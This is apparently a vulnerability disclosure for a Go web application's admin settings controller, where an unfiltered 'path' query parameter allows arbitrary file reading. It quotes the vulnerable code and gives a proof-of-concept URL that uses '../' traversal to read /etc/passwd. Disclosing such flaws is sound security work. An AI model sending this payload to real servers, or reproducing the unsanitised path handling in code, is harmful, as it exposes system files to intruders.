Read Any File Vulnerability #9
Description
Vulnerability file address
internal/controllers/admin/setting/adminSystemController.go line 135 c.Query("path")The incoming path value is not filtered, resulting in arbitrary file reading
filePath := gstrings.JoinStr(configs.RootPath, c.Query("path"))
fi, err := os.Open(filePath)
if err != nil {
con.ErrorHtml(c, err)
return
}
POC
http://ip:port/admin/setting/system/view?path=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
